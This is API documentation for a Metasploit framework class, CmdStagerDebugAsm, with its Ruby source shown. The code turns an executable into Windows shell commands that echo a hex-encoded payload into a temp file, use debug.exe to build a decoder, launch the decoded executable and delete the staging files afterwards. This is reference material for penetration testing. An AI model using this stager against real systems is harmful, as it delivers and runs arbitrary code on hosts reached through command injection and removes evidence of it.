Class: Rex::Exploitation::CmdStagerDebugAsm

Inherits:
CmdStagerBase show all
Defined in:
lib/rex/exploitation/cmdstager/debug_asm.rb

Overview

This class provides the ability to create a sequence of commands from an executable. When this sequence is ran via command injection or a shell, the resulting exe will be written to disk and executed.

This particular version uses debug.exe to assemble a small COM file. The COM will take a hex-ascii file, created via echo >>, and decode it to the final binary.

Requires: debug.exe

Written by Joshua J. Drake

Instance Method Summary collapse

Methods inherited from CmdStagerBase

#generate, #generate_cmds_payload, #slice_up_payload

Constructor Details

#initialize(exe) ⇒ CmdStagerDebugAsm

Returns a new instance of CmdStagerDebugAsm.



30
31
32
33
34
35
36
37
38
# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 30

def initialize(exe)
	super

	@var_decoder_asm  = Rex::Text.rand_text_alpha(8) + ".dat"
	@var_decoder_com  = Rex::Text.rand_text_alpha(8) + ".com"
	@var_payload_in   = Rex::Text.rand_text_alpha(8) + ".dat"
	@var_payload_out  = Rex::Text.rand_text_alpha(8) + ".exe"
	@decoder          = nil # filled in later
end

Instance Method Details

#cmd_concat_operatorObject

Windows uses & to concat strings



137
138
139
# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 137

def cmd_concat_operator
	" & "
end

#compress_commands(cmds, opts) ⇒ Object

We override compress commands just to stick in a few extra commands last second..



110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 110

def compress_commands(cmds, opts)
	# Convert the debug script to an executable...
	cvt_cmd = ''
	if (@tempdir != '')
		cvt_cmd << "cd %TEMP% && "
	end
	cvt_cmd << "debug < #{@tempdir}#{@var_decoder_asm}"
	cmds << cvt_cmd

	# Convert the encoded payload...
	cmds << "#{@tempdir}#{@var_decoder_com}"

	# Make it all happen
	cmds << "start #{@tempdir}#{@var_payload_out}"

	# Clean up after unless requested not to..
	if (not opts[:nodelete])
		cmds << "del #{@tempdir}#{@var_decoder_asm}"
		cmds << "del #{@tempdir}#{@var_decoder_com}"
		cmds << "del #{@tempdir}#{@var_payload_in}"
		# XXX: We won't be able to delete the payload while it is running..
	end

	super
end

#encode_payload(opts) ⇒ Object

Simple hex encoding…



57
58
59
# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 57

def encode_payload(opts)
	ret = @exe.unpack('H*')[0]
end

#generate_cmds(opts) ⇒ Object

Override just to set the extra byte count



44
45
46
47
48
49
50
51
# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 44

def generate_cmds(opts)
	# Set the start/end of the commands here (vs initialize) so we have @tempdir
	@cmd_start = "echo "
	@cmd_end   = ">>#{@tempdir}#{@var_payload_in}"
	xtra_len = @cmd_start.length + @cmd_end.length + 1
	opts.merge!({ :extra => xtra_len })
	super
end

#generate_cmds_decoder(opts) ⇒ Object

Generate the commands that will decode the file we just created



84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 84

def generate_cmds_decoder(opts)

	# Allow decoder stub override (needs to input base64 and output bin)
	@decoder = opts[:decoder] if (opts[:decoder])

	# Read the decoder data file
	f = File.new(@decoder, "rb")
	decoder = f.read(f.stat.size)
	f.close

	# Replace variables
	decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_decoder_asm}")
	decoder.gsub!(/h2b\.com/, "#{@tempdir}#{@var_decoder_com}")
	# NOTE: these two filenames MUST 8+3 chars long.
	decoder.gsub!(/testfile\.dat/, "#{@var_payload_in}")
	decoder.gsub!(/testfile\.out/, "#{@var_payload_out}")

	# Split it apart by the lines
	decoder.split("\n")
end

#parts_to_commands(parts, opts) ⇒ Object

Combine the parts of the encoded file with the stuff that goes before / after it.



66
67
68
69
70
71
72
73
74
75
76
77
78
# File 'lib/rex/exploitation/cmdstager/debug_asm.rb', line 66

def parts_to_commands(parts, opts)

	cmds = []
	parts.each do |p|
		cmd = ''
		cmd << @cmd_start
		cmd << p
		cmd << @cmd_end
		cmds << cmd
	end

	cmds
end